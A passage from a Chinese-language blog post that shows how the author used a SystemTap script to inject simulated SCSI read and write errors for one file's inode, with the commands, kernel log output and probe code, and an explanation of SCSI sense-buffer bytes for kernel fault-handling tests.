class="number">34</span>:<span class="number">51</span> <span class="number">2014</span></div><div class="line">mtime: <span class="number">0</span>x53745b2d -- Thu May <span class="number">15</span> <span class="number">14</span>:<span class="number">14</span>:<span class="number">05</span> <span class="number">2014</span></div><div class="line">Size of extra inode fields: <span class="number">4</span></div><div class="line">BLOCKS:</div><div class="line">(<span class="number">0</span>):<span class="number">11982918</span></div><div class="line">TOTAL: <span class="number">1</span></div></pre></td></tr></table></figure>

<p>最后还要获取一下device的major, minor id，我用的是</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line">$ ls <span class="operator">-l</span> /dev | grep sda</div><div class="line">brw-r-----  <span class="number">1</span> root disk   <span class="number">8</span>,   <span class="number">0</span> May <span class="number">15</span> <span class="number">02</span>:<span class="number">46</span> sda</div><div class="line">brw-r-----  <span class="number">1</span> root disk   <span class="number">8</span>,   <span class="number">1</span> May <span class="number">14</span> <span class="number">18</span>:<span class="number">46</span> sda1</div><div class="line">brw-r-----  <span class="number">1</span> root disk   <span class="number">8</span>,   <span class="number">2</span> May <span class="number">15</span> <span class="number">02</span>:<span class="number">46</span> sda2</div><div class="line">brw-r-----  <span class="number">1</span> root disk   <span class="number">8</span>,   <span class="number">3</span> May <span class="number">15</span> <span class="number">02</span>:<span class="number">46</span> sda3</div><div class="line">brw-r-----  <span class="number">1</span> root disk   <span class="number">8</span>,   <span class="number">4</span> May <span class="number">15</span> <span class="number">02</span>:<span class="number">46</span> sda4</div><div class="line">brw-r-----  <span class="number">1</span> root disk   <span class="number">8</span>,   <span class="number">5</span> May <span class="number">14</span> <span class="number">18</span>:<span class="number">46</span> sda5</div><div class="line">brw-r-----  <span class="number">1</span> root disk   <span class="number">8</span>,   <span class="number">6</span> May <span class="number">14</span> <span class="number">18</span>:<span class="number">46</span> sda6</div><div class="line">brw-r-----  <span class="number">1</span> root disk   <span class="number">8</span>,   <span class="number">7</span> May <span class="number">15</span> <span class="number">02</span>:<span class="number">46</span> sda7</div></pre></td></tr></table></figure>

<p>可以看到major id是8，minor id从0到7。</p>
<p>注入起来</p>
<p>错误注入前：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">$ cat test_fault_injection                  </div><div class="line">test</div><div class="line"> </div><div class="line">$ <span class="built_in">echo</span> <span class="string">"test"</span> &gt;&gt; test_fault_injection</div><div class="line"> </div><div class="line">$ cat test_fault_injection           </div><div class="line">test</div><div class="line">test</div></pre></td></tr></table></figure>

<p>跑一下脚本命令：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ <span class="built_in">sudo</span> stap -g scsi_fij.stp -I ./lib/ debug=<span class="number">1</span> inode=<span class="number">2992033</span> <span class="keyword">exec</span>=<span class="string">"cat"</span> <span class="keyword">exec</span>=<span class="string">"swapper"</span></div></pre></td></tr></table></figure>

<p>测试读取文件：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">$ cat test_fault_injection                  </div><div class="line">cat: test_fault_injection: Input/output error</div></pre></td></tr></table></figure>

<p>看一下<code>/var/log/message</code>：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">sd <span class="number">0</span>:<span class="number">0</span>:<span class="number">0</span>:<span class="number">0</span>: [sda] Sense <span class="keyword">Key</span> : Medium <span class="keyword">Error</span> [current]</div><div class="line">sd <span class="number">0</span>:<span class="number">0</span>:<span class="number">0</span>:<span class="number">0</span>: [sda] Add. Sense: Unrecovered read <span class="keyword">error</span> - <span class="keyword">auto</span> reallocate failed</div><div class="line">sd <span class="number">0</span>:<span class="number">0</span>:<span class="number">0</span>:<span class="number">0</span>: [sda] CDB: Read(<span class="number">10</span>): <span class="number">28</span> <span class="number">00</span> <span class="number">05</span> be <span class="number">62</span> <span class="number">30</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span></div><div class="line">Buffer I/O <span class="keyword">error</span> <span class="keyword">on</span> device sda2, logical block <span class="number">11982918</span></div></pre></td></tr></table></figure>

<p>写入也是一样：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">$ <span class="built_in">echo</span> <span class="string">"test_after_fault_inject"</span> &gt;&gt; test_fault_injection                                                </div><div class="line">-bash: <span class="built_in">echo</span>: write error: Input/output error</div></pre></td></tr></table></figure>

<p>把脚本停了之后，文件中原来的内容还是没有任何损坏。</p>
<p>另外可以在脚本里加<code>print_backtrace()</code>来查看错误注入时的call stack。如果对内核代码非常了解的话，就可以几乎在任意的位置注入错误了！</p>
<h3 id="工作原理">工作原理</h3>
<p>详细的SystemTap使用可以看<a href="https://sourceware.org/systemtap/SystemTap_Beginners_Guide/" target="_blank" rel="external">官方教程</a>，另外它本身就自带了许多<a href="https://sourceware.org/systemtap/examples/" target="_blank" rel="external">示范脚本</a>，已经可以满足很多日常的监控分析工作，推荐大家试试！另外其工作原理可以参考<a href="http://www.lizhaozhong.info/archives/577" target="_blank" rel="external">这篇文章</a>。</p>
<p>在这个SCSI错误注入脚本里基本上就是在<code>scsi_decide_disposition</code>这个function上加probe，然后进去后获取一系列变量信息以此来控制是否进行错误注入。在控制是否错误注入时使用了fij的库，在代码里看就是那些<code>fij_params</code>和<code>fij_should_fail()</code>等。截取一个代码片段来看下：</p>
<figure class="highlight C"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div></pre></td><td class="code"><pre><div class="line">probe kernel.function(<span class="string">"scsi_decide_disposition@drivers/scsi/scsi_error.c"</span>)</div><div class="line">{</div><div class="line">    scmd_direction = $scmd-&gt;sc_data_direction</div><div class="line">    major = $scmd-&gt;request-&gt;rq_disk-&gt;major</div><div class="line">    minor = $scmd-&gt;request-&gt;rq_disk-&gt;first_minor</div><div class="line">    block = $scmd-&gt;request-&gt;__sector</div><div class="line">    struct_bio= $scmd-&gt;request-&gt;bio</div><div class="line">    <span class="keyword">if</span> (struct_bio != <span class="number">0</span>)</div><div class="line">    {</div><div class="line">        page = $scmd-&gt;request-&gt;bio-&gt;bi_io_vec-&gt;bv_page</div><div class="line">        <span class="keyword">if</span> (page != <span class="number">0</span>)</div><div class="line">        {</div><div class="line">            inode = get_inode(page)</div><div class="line">        }</div><div class="line">    }</div><div class="line">    <span class="keyword">if</span> (fij_params[<span class="string">"inode_filter"</span>] == <span class="number">1</span> && !(inode in fij_inodes_to_fail)) next</div><div class="line">    <span class="keyword">if</span> (fij_should_fail() == <span class="number">1</span>) {</div><div class="line">        <span class="built_in">printf</span>(<span class="string">"scsi_decide_disposition : %s(%d) cmd (%d)\n"</span>, execname(), pid(), $scmd-&gt;cmnd[<span class="number">0</span>])</div><div class="line">        <span class="built_in">printf</span>(<span class="string">"scsi_decide_disposition : major=%d minor=%d scmd=%d \n"</span>, major, minor, $scmd)</div><div class="line">        <span class="built_in">printf</span>(<span class="string">"scsi_decide_disposition : scmd-direction = %d\n"</span>, scmd_direction)</div><div class="line">        <span class="built_in">printf</span>(<span class="string">"scsi_decide_disposition : start sector = %d \n"</span>, block)</div><div class="line">        <span class="built_in">printf</span>(<span class="string">"scsi_decide_disposition : inode = %d \n"</span>, inode)</div><div class="line">        print_backtrace()</div><div class="line">        <span class="built_in">printf</span>(<span class="string">"scsi_decide_disposition : !!!!!! set sense buf !!!!!!\n"</span>)</div><div class="line">        set_sense_buf($scmd, <span class="number">0x02</span>, <span class="number">0x03</span>, <span class="number">0x11</span>, <span class="number">0x04</span>)</div><div class="line">        fij_done_fail()</div><div class="line">    }</div><div class="line">}</div></pre></td></tr></table></figure>

<p>类似C的语法的脚本语言！还是很直观好用的吧！</p>
<h3 id="SCSI错误类型">SCSI错误类型</h3>
<p>在脚本中有两个关键的错误注入点，一个是<code>set_sense_buf</code>函数</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line">function set_sense_buf:<span class="keyword">long</span> (cmd:<span class="keyword">long</span>, result:<span class="keyword">long</span>, sensekey:<span class="keyword">long</span>, asc:<span class="keyword">long</span>, ascq:<span class="keyword">long</span> )</div><div class="line">%{</div><div class="line">        <span class="keyword">struct</span> scsi_cmnd * scmd = (<span class="keyword">struct</span> scsi_cmnd *)(<span class="keyword">long</span>)STAP_ARG_cmd;</div><div class="line"> </div><div class="line">        scmd-&gt;result = (<span class="keyword">int</span>)(<span class="keyword">long</span>)STAP_ARG_result;  <span class="comment">/* case DID_BUS_BUSY: 0x02 */</span></div><div class="line">        scmd-&gt;sense_buffer[<span class="number">0</span>] = <span class="number">0x70</span>; <span class="comment">/* current, fixed format */</span></div><div class="line">        scmd-&gt;sense_buffer[<span class="number">2</span>] = (<span class="keyword">unsigned</span> <span class="keyword">char</span>)(<span class="keyword">long</span>)STAP_ARG_sensekey; <span class="comment">/* 0x03 */</span></div><div class="line">        scmd-&gt;sense_buffer[<span class="number">7</span>] = <span class="number">0x13</span>; <span class="comment">/* length */</span></div><div class="line">        scmd-&gt;sense_buffer[<span class="number">12</span>] = (<span class="keyword">unsigned</span> <span class="keyword">char</span>)(<span class="keyword">long</span>)STAP_ARG_asc; <span class="comment">/* 0x11 */</span></div><div class="line">        scmd-&gt;sense_buffer[<span class="number">13</span>] = (<span class="keyword">unsigned</span> <span class="keyword">char</span>)(<span class="keyword">long</span>)STAP_ARG_ascq; <span class="comment">/* 0x04 */</span></div><div class="line">%}</div></pre></td></tr></table></figure>

<p>一头雾水的感觉啊有没有！这又是SCSI驱动编程的新领域了……去查<a href="http://www.tldp.org/HOWTO/archived/SCSI-Programming-HOWTO/SCSI-Programming-HOWTO-10.html" target="_blank" rel="external">文档</a>。终于大致理解了上面这段代码：</p>
<blockquote>
<p>第0个字节默认设置为0x70或0x71<br>第2个字节为Sense Key，脚本中设置为0x03，意为<a href="http://www.tldp.org/HOWTO/archived/SCSI-Programming-HOWTO/SCSI-Programming-HOWTO-21.html#sec-sensekeys" target="_blank" rel="external">medium error</a>，与系统报错一致<br>第7个字节为长度，不知道为何设置成0x13，看代码应该大于十进制的13才能读取后面用到的两个field<br>第12，13字节组成了一套复杂的<a href="http://www.tldp.org/HOWTO/archived/SCSI-Programming-HOWTO/SCSI-Programming-HOWTO-22.html#sec-sensecodes" target="_blank" rel="external">状态</a><br>脚本中设置的0x11, 0x04含义为：UNRECOVERED READ ERROR - AUTO REALLOCATE FAILED，与系统报错一致</p>
</blockquote>
<p>我们可以利用这些信息返回任意我们想要的SCSI错误。</p>
<p>另外一个是修改scsi command，脚本中有如下代码：<code>if (($cmd-&gt;cmnd[0] == 0x28) || ($cmd-&gt;cmnd[0] == 0x2a))</code><br>参考<a href="http://en.wikipedia.org/wiki/SCSI_command#List_of_SCSI_commands" target="_blank" rel="external">维基百科</a><br>可以看到这两个命令是：<code>28 READ(10)</code>和<code>2A WRITE(10)</code>读或者写10个字节<br>但是后面设置了<code>$cmd-&gt;cmnd[7] = 0</code>, <code>$cmd-&gt;cmnd[8] = 0</code>这两个，苦苦搜索都没找到相关文档，看到<a href="http://lxr.free-electrons.com/source/drivers/scsi/aacraid/aachba.c?v=2.6.34" target="_blank" rel="external">内核源码</a>中有这么一段：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">} <span class="keyword">else</span> <span class="keyword">if</span> (cmd-&gt;cmnd[<span class="number">0</span>] == WRITE_10) {</div><div class="line">        cmnd_lba = ((u64)cmd-&gt;cmnd[<span class="number">2</span>] &lt;&lt; <span class="number">24</span>) |</div><div class="line">                (cmd-&gt;cmnd[<span class="number">3</span>] &lt;&lt; <span class="number">16</span>) |</div><div class="line">                (cmd-&gt;cmnd[<span class="number">4</span>] &lt;&lt; <span class="number">8</span>) |</div><div class="line">                cmd-&gt;cmnd[<span class="number">5</span>];</div><div class="line">        cmnd_count = (cmd-&gt;cmnd[<span class="number">7</span>] &lt;&lt; <span class="number">8</span>) |</div><div class="line">                cmd-&gt;cmnd[<span class="number">8</span>];</div></pre></td></tr></table></figure>

<p>所以这两个应该是scsi command的数量，在这里强制设为了0，可能是直接取消了后续的任何读写操作？还望大牛指点迷津啊！</p>
<h3 id="总结-2">总结</h3>
<p>SystemTap果然是极其强大啊！当然对使用者要求也比较高，需要对内核本身的各种function，运作流程比较了解。使用中感觉它最大的优势是控制点非常细，几乎可以在任意的代码路径上注入想要的错误。如果我们能取得kernel panic时候的call stack，就可以准确地在原本出错的函数返回处注入错误，以此来进行bug的修复验证，而不用长时间反复跑压力测试来期望硬件问题的复现，可以极大地提高效率！</p>
<h2 id="未来">未来</h2>
<p>写了第一篇博文，感觉还是有点激动的！目前对于Linux内核方面我还是完全的小白，希望以后能多向大牛学习，争取早日入门！计划接下来看一些<a href="http://book.douban.com/subject/25828773/" target="_blank" rel="external">Robert Love</a>大神的书，然后6月跟一下Coursera上的<a href="https://www.coursera.org/course/sdn" target="_blank" rel="external">SDN</a>与<a href="https://www.coursera.org/course/hwswinterface" target="_blank" rel="external">The Hardware/Software Interface</a>这两门课。有兴趣的同学也可以一起组团，共同进步！</p>
<p><strong>Happy Hacking Everyday!</strong></p>
]]></content>
    
    
      <category term="Linux" scheme="http://zijie0.github.io/tags/Linux/"/>
    
      <category term="SystemTap" scheme="http://zijie0.github.io/tags/SystemTap/"/>
    
  </entry>
  
</feed>